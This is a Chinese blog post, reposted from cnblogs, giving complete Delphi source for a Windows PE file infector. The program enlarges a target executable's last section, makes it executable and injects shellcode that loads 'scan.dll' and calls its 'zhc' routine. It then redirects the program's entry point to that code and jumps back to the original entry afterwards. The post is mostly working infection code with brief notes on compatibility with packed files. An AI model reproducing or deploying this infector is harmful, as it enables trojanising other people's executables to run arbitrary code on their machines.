PE扩展节方式感染

原理是:修改最后一个节并给最后一个节增加长度,然后在增加的区域中间写入代码,本方法的好处是相对前面一种方法可以写入更多的代码,并且拥有更好的兼容性。。

code:

 

ContractedBlock.gif ExpandedBlockStart.gif Code
program PE_Infection;       {Code By 箫竹}

{$APPTYPE CONSOLE}

uses
SysUtils,
windows,
classes;

const
DEBUG
=TRUE;               
EXTRA_CODE_LENGTH
=159;    //注入代码长度,修改注入代码后,需要修改此值

var
code:
array[0..EXTRA_CODE_LENGTH-8of byte=(
$
83,$EC,$40,$89,$E5,$56,$89,$65,$1E,$55,$64,$8B,$05,
$
30,$00,$00,$00,$8B,$40,$0C,$8B,$70,$1C,$AD,$8B,$40,
$
08,$89,$C5,$8B,$45,$3C,$8B,$54,$28,$78,$01,$EA,$8B,
$4A,$
18,$8B,$5A,$20,$01,$EB,$49,$8B,$34,$8B,$01,$EE,
$B8,$
47,$65,$74,$50,$39,$06,$75,$F1,$B8,$72,$6F,$63,
$
41,$39,$46,$04,$75,$E7,$8B,$5A,$1C,$01,$EB,$8B,$04,
$8B,$
01,$E8,$89,$E9,$5D,$89,$45,$0E,$89,$4D,$0A,$6A,
$
00,$68,$61,$72,$79,$41,$68,$4C,$69,$62,$72,$68,$4C,
$6F,$
61,$64,$54,$FF,$75,$0A,$FF,$55,$0E,$89,$45,$12,
$6A,$
00,$68,$2E,$64,$6C,$6C,$68,$73,$63,$61,$6E,$54,
$FF,$
55,$12,$68,$7A,$68,$63,$00,$54,$50,$FF,$55,$0E,
$FF,$D0,$8B,$
65,$1E,$5E,$83,$C4,$40);                  //感染代码作用是加载scan.dll,执行zhc过程,可以自行修改
dosheader:IMAGE_DOS_HEADER;     
//dos头部
NTheader:IMAGE_NT_HEADERS;      
//NT头部
SectionHeader:IMAGE_SECTION_HEADER;   
//节头
numofSections,pnewfile,
file_align_ment,section_align_ment:integer;
i,j,extraLengthAfterAlign:integer;
newEP,oldEP,cstart:dword;
srcFileName,newFileName,Taddr:
string;
bytewrite:byte;

function align(size,ALIGN_BASE:integer):integer;   //对齐函数
var
ret,results:integer;
begin
assert( 
0 <> ALIGN_BASE );
results:
= size div ALIGN_BASE;
if results<>0 then           //如果不能整除
    ret:
=((size div ALIGN_BASE)+1)*ALIGN_BASE //填满
else
   ret:
=size;
align:
=ret;
end;

begin
write('输入要感染的文件名:');
readln(srcFileName);
newfilename:
=srcfilename+'.exe';    //保护原文件,复制一份
CopyFile(pchar(srcFileName), pchar(newFileName), FALSE);
pnewfile:
=fileopen(newfilename,fmopenreadwrite or fmShareDenyNone);
fileseek(pnewfile,
0,sofrombeginning);
fileread(pnewfile,DosHeader, sizeof(IMAGE_DOS_HEADER));
if DosHeader.e_magic <> IMAGE_DOS_SIGNATURE then   //检验标志
begin
{$IF DEBUG}
   writeln(
'不是一个正确的PE文件');
{$IFEND}
exit;
end;
fileseek(pNewFile, DosHeader._lfanew, sofrombeginning);
fileread(pnewfile,NTheader,sizeof(image_nt_headers));
if (NtHeader.Signature <> IMAGE_NT_SIGNATURE) then
begin
{$IF DEBUG}
writeln(
'不是一个正确的PE文件');
{$IFEND}
exit;
end;      //验证完毕,目标是一个PE文件
numOfSections :
= NtHeader.FileHeader.NumberOfSections; 
FILE_ALIGN_MENT :
= NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT :
= NtHeader.OptionalHeader.SectionAlignment;
{$IF DEBUG}
        writeln(format(
'FILE_ALIGN_MENT-> %x',[FILE_ALIGN_MENT]));
        writeln(format(
'SECTION_ALIGN_MENT-> %x',[FILE_ALIGN_MENT]));
{$IFEND}
//保存原来的入口备用
oldEP :
= NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for i:=1 to numofsections do
begin
fileread(pnewfile,SectionHeader,sizeof(IMAGE_SECTION_HEADER));
{$IF DEBUG}
write('节的名字:');
for j:=0 to 7 do
   
write(chr(SectionHeader.Name[j]));
writeln;
{$IFEND}
end;
extraLengthAfterAlign :
= Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
cstart:
=sectionheader.PointerToRawData+sectionheader.SizeOfRawData; //找到该节的末尾
newep:
=cstart+sectionheader.VirtualAddress-sectionheader.PointerToRawData; //计算新入口点
{$IF DEBUG}
writeln(format(
'原入口点:%x',[OldEp]));
writeln(format(
'修改后的入口点:%x',[newEp]));
{$IFEND}
//修改SizeOfRawData
sectionheader.SizeOfRawData:
=sectionheader.SizeOfRawData+ Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//修改VirtualSize
sectionheader.Misc.VirtualSize:
=NewEP+EXTRA_CODE_LENGTH;
//修改该节的属性
SectionHeader.Characteristics :
= $E0000060;        //可读写可执行
fileseek(pnewfile,dosheader._lfanew
+sizeof(ntheader)+(numofsections-1)*sizeof(image_section_header),sofrombeginning);
filewrite(pnewfile,sectionheader,sizeof(sectionheader));
//修改入口点
ntheader.OptionalHeader.AddressOfEntryPoint:
=newep;
//修正SizeOfImage
NtHeader.OptionalHeader.SizeOfImage :
= Align(sectionheader.Misc.VirtualSize+sectionheader.VirtualAddress, SECTION_ALIGN_MENT); //修正SizeOfImage
fileseek(pnewfile,dosheader._lfanew,sofrombeginning);
filewrite(pnewfile,ntheader,sizeof(ntheader));
fileseek(pnewfile,cstart,sofrombeginning);
for i:=0 to EXTRA_CODE_LENGTH-8 do   
filewrite(pnewfile,code[i],
1);
Taddr:
=inttohex(oldep+ntheader.OptionalHeader.ImageBase,8);
bytewrite:
=$b8;
filewrite(pnewfile,bytewrite,
1); //写入代码
for i:=4 downto 1 do
begin           //mov eax,原入口点
bytewrite:
=strtoint('$'+Taddr[i*2-1]+Taddr[i*2]);
filewrite(pnewfile,bytewrite,
1);               //跳回原入口点
end;
bytewrite:
=$ff;
filewrite(pnewfile,bytewrite,
1);
bytewrite:
=$d0;      //Call Eax
filewrite(pnewfile,bytewrite,
1);
bytewrite:
=$c3;     //Retn
filewrite(pnewfile,bytewrite,
1);
{$IF DEBUG}
   writeln(
'已写入代码的长度:',EXTRA_CODE_LENGTH);
   writeln(
'写入完毕');
   readln;
{$IFEND}
end.

 

本代码的兼容性较于前面一个代码要高,但代码难度略高一些,涉及更多PE结构方面的知识,是本人参考一个C++写出的PE文件感染的代码后,
加以改进写出来的,可以有效的感染加壳后的文件,但是在感染Flash,自解压文件时,可能会破坏掉自解压/Flash的内容,故不赞成感染此类文件..

转载于:https://www.cnblogs.com/bsoom/archive/2009/11/14/1603057.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值